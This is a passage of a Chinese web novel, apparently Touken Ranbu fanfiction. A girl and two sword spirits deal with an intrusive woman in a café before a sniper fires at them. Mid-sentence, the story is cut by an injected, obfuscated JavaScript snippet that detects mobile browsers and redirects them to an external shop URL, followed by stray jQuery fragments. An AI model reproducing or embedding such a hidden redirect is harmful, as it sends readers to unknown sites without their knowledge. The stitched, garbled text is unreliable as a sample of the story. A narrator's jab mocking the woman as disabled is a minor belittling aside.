我招招手叫了一个店员过来,也不废话指着这位很自来熟的女士说:“我们不认识她,也不接受拼桌。”

    但是这位店员看了一眼那位女士后对我说,“可是这位客人说是您们的朋友。”

    哇塞听不懂人话吗?

    我简直要感叹了,但我还是好脾气地重复了一遍:“我们不认识她。”

    店员先生看了我一眼,然后视线越过我看向了旁边的长义和国广身上,以及那位女士的身上。

    长义皱眉,正要开口说话,被那位女士抢先一步。

    “那我们现在可以认识一下嘛,拼个桌而已不麻烦的。”她朝身边的国广眨眨眼睛,然后对店员说:“麻烦你了,我们这里不需要别的服务。”

    店员丢下一句“用餐愉快”就走了。

    哇塞。

    比起被冒犯的不悦,心里更多的其实是对这个社会上这么多残障人士能够像正常人一样工作和生活的感慨。

    什么人都能放上街吗?我以前还是出门少,离普通人太远了,完全不知道政|府的福利政策这么给力。

    国广冷着脸把自己往窗户那边挪,他其实很想端着盘子走掉。

    虽然选了窗边的座位,但我坐在过道的位置,长义坐在里面,主要是防备可能有的狙击手。

    国广原本坐在我的对面,自来熟女士过来拉开了过道那端的椅子坐下,他要是想离人远点就只能往里边坐,或者直接离开这张桌子。

    这一挪,好了,人直接坐在了国广空出来的座位上。

    哇塞。

    这能动手吗?不能吧,动手了会给主人惹麻烦。

    山姥切国广的手蠢蠢欲动伸向餐刀,他有点不确定地抬头去瞄对面的本歌,发现自家本歌手里早就攥紧了餐刀,甚至是蓄势待发的投掷姿势。

    不愧是本歌,金发打刀严肃反省了一下自己,把餐刀也纳入掌心。

    长义瞥了一眼过去。

    我没怎么注意他们俩人的眉眼官司,自来熟女士正在跟我说话。

    “妹妹是高中生吧?逃课是很不好的行为哦,不过姐姐我以前也逃过课就是了。”

    我低头慢条斯理吃着蛋糕。

    “巴斯克这种蛋糕还是少吃为好,热量很高容易发胖,妹妹长得这么漂亮身材变形了可就不好了。姐姐是吃不胖的类型也还是偶尔尝尝。”

    我放下叉子,喝口饮料解腻。

    她以为我听进去了,满意笑笑。

    “这和您无关吧这位女士。”长义咬着一口敬语,“我家小姐轮不到您来品头论足,抱歉,您还没有这个资格。”

    “以及,在我家小姐明确表示不欢迎您后,您能安然坐在这里是小姐出于礼貌没有赶您走,但我想这不是您得寸进尺的理由。”

    长义冷下脸来的时候比国广看着可怕多了。

    一串话下来找不出一个脏字,敬语听得人眼前发蒙,但意思很明确,在说她不要脸。

    连隔壁桌的客人都没忍住看过来。

    对面的女人过了一会儿才反应过来长义具体说了什么内容。

    当场脸就红了。

    “你!”

    她想开口,但刚一对上长义冰冷的眼神就什么声音也发不出了。

    “国广,把你的给我。”

    我把自己吃了两口的巴斯克推过去。

    国广面前没动过的芝士蛋糕原样递过去,长义接过来连同没被使用的刀叉按照原样在我手边摆好。

    自来熟女士被我们三个无视的很彻底。

    她还从来没有被男人这么对待过,没忍住面露委屈看向坐在旁边的国广。

    国广问我想尝尝他的那杯饮料吗他还没喝过,在我点头后让长义递给我。一眼也没有往那边看。

    客观来讲,坐在我对面的这位女士确实很漂亮,是大众情人款的那种长相,笑起来很甜,声音也好听,绝大多数男人面对这样的女性被撒个娇什么的行个方便是顺手的事。

    不过很可惜,这张桌子上唯二的男性生物并不是人类,没有那种情感。

    媚错人了姐姐,媚我的话说不定□□欲熏心把这顿给请了。

    我叹气,暗自摇头。

    可惜啊可惜,媚眼抛给铁疙瘩看。

    我嘬了一口新饮料,哦这个也好喝。

    被人文雅地骂了一顿,正常人就该起身走掉了吧,但是这位没有,她还安稳坐着。

    这下我是刮目相看了,也是很有勇气的女士一位。

    哪里派来的探子吗,我默默啃着吸管猜测,这种接近手段是不是有点拙劣了?不过也是,经典套路虽然拙劣但胜在有用,总之我的兴趣是被勾起来了。

    看看热闹我也没有什么损失。

    于是我在面前女人的视线死角向两个刀子精做了一个下压的手势,意思是稍安勿躁。

    两刃不理解但遵命。

    不过餐刀没有放下。

    我之前使用过的那对刀叉在国广手里,他当然没有直接使用,虽然他不介意,但这些天的社会化教学是有用的,大庭广众之下并没有做出这等略显变态的事情。

    他另外拿了套新的。

    疑似探子的自来熟女士没有再说话,掏出手机,上面挂了一串很吵但怪好看的水晶挂坠。

    噼里啪啦一顿打字,不用猜就知道是在和朋友吐槽。大部分人遇到这种事都会这样做。

    成为被吐槽对象的我还有点新奇。

    我不动声色在观察她的动作,在面对面这样近的距离下,凭手在屏幕上的移动能够大致判断打了什么字。

    就是普通的吐槽,说遇见两个帅哥带妹妹出来吃东西,上去搭讪却被那个小女孩和其中的哥哥一顿嘲讽,不知道自己做错了什么,现在的高中生素质真差之类的。

    刚才长义喊我小姐没被她听进去。

    哦,她看上国广了?

    我抱着果汁扭头去看长义,得到长义略带疑惑看过来的眼神,以为我想吃他面前的那块蛋糕了,于是动手交换。

    其实我不是这个意思,好吧,尝尝也行。

    我将巧克力慕斯送进嘴里嚼嚼嚼。

    长义的外表放在人类社会俨然是上流社会精英人士那一类定位,脸蛋更是艺术品,比起国广差在哪里?

    不是说国广差的意思,我的意思是两个人长得一样那不该同时看上他们两个吗?舍弃其中的哪一个都是令人心痛的艰难抉择。

    我偏头看向斜对面解决我剩下半个蛋糕的国广,我

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554094|202535||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    们两个对视着都在嚼嚼嚼。

    国广看起来更像是家族小少爷那种类型,嘴里鼓起来像小仓鼠,没什么攻击性的样子。

    自来熟女士点的东西上来了,她放下手机整理了一下头发,对店员说了谢谢。

    情绪转换还算快,她像是之前什么也没有发生过一样开始尝试和国广搭话。

    “我是井上绘里,先生你叫什么名字?”

    国广看向我,见我没有说话,出于礼貌他回复道:“春日川。”

    得到回应显然让她很振奋:“哦,春日川国广先生,很高兴认识你。”

    她刚刚听到我叫过国广的名字,很快组合起来。

    “国广先生是东京人吗?”

    在日本直呼别人的名字是很亲密的一件事,尤其是第一次见面,还是异性。

    但是国广没有反驳,当然也没有回应。

    他连人都不是更别提是不是东京人了,我给他们的身份证明上出生地写的是横滨,前不久才来到东京为我办事。

    他没去过横滨,多说多错。而且这类身份信息不能轻易泄露的常识他还是懂的。

    不过井上绘里并没有考虑那么多,她只知道国广没有拒绝她这么称呼,那么不就说明她有戏吗?

    于是笑得更真心实意起来,整个人朝着国广的方向挪了很大一段距离。

    给国广吓了一大跳,连忙远离,胳膊已经要碰上玻璃。

    我差点噗嗤一声笑出声来,靠着强大的表情管理忍住了。

    看戏归看戏,没有要国广牺牲色相的意思。

    我对自己的东西占有欲很强的,被别人碰脏了会生气很久,当然这是擅自动我东西人的错。

    看来一时半会儿没有额外进展了。

    这位井上女士全程动作规矩,没有粘窃听器之类的小动作,发消息有没有使用暗语不知道,总归传不过去什么有用的消息。

    没有肢体接触,没有传递消息的举动,但不能排除可能性。

    我撑着脑袋戳了两下盘子里的半个蛋糕,把它推给长义,自己抢过他手边的饮料。

    长义知道我会想喝,所以一直没有动过杯子。

    此时里面的冰块已经有点化了,杯壁挂满了水珠。他扯过一张纸巾替我擦干净杯子外面的水才让我拿走。完全不知道自己被我怀疑是和对面的女人一伙的。

    原本打算把店里想吃的都点一遍来的,现在也没有多余的心思享受美食了。

    就是可惜这家店以后可能吃不到了。

    心里其实也没多少可惜的情绪,只是装模作样。

    甜品还没到让我吃了惊为天人终身难忘吃了还想吃的地步,只能说一般好吃,至少对得起价位。

    幸好没有一次性点很多,虽然说不差钱,但是浪费可耻吧。

    人类就是这样又大方又抠的两面生物。

    打定主意吃完就走,我抱着杯子越过低头吃蛋糕的长义看向窗外。

    职业病,我总是习惯看比自己位置高的高层楼顶、拉着窗帘的房间和树。这些地方一般是狙击手常待的。

    在我的眼睛捕捉到那抹反光之前,身体已经被反应迅速的长义扑倒在地。

    玻璃骤然碎裂的声音迟一步响起。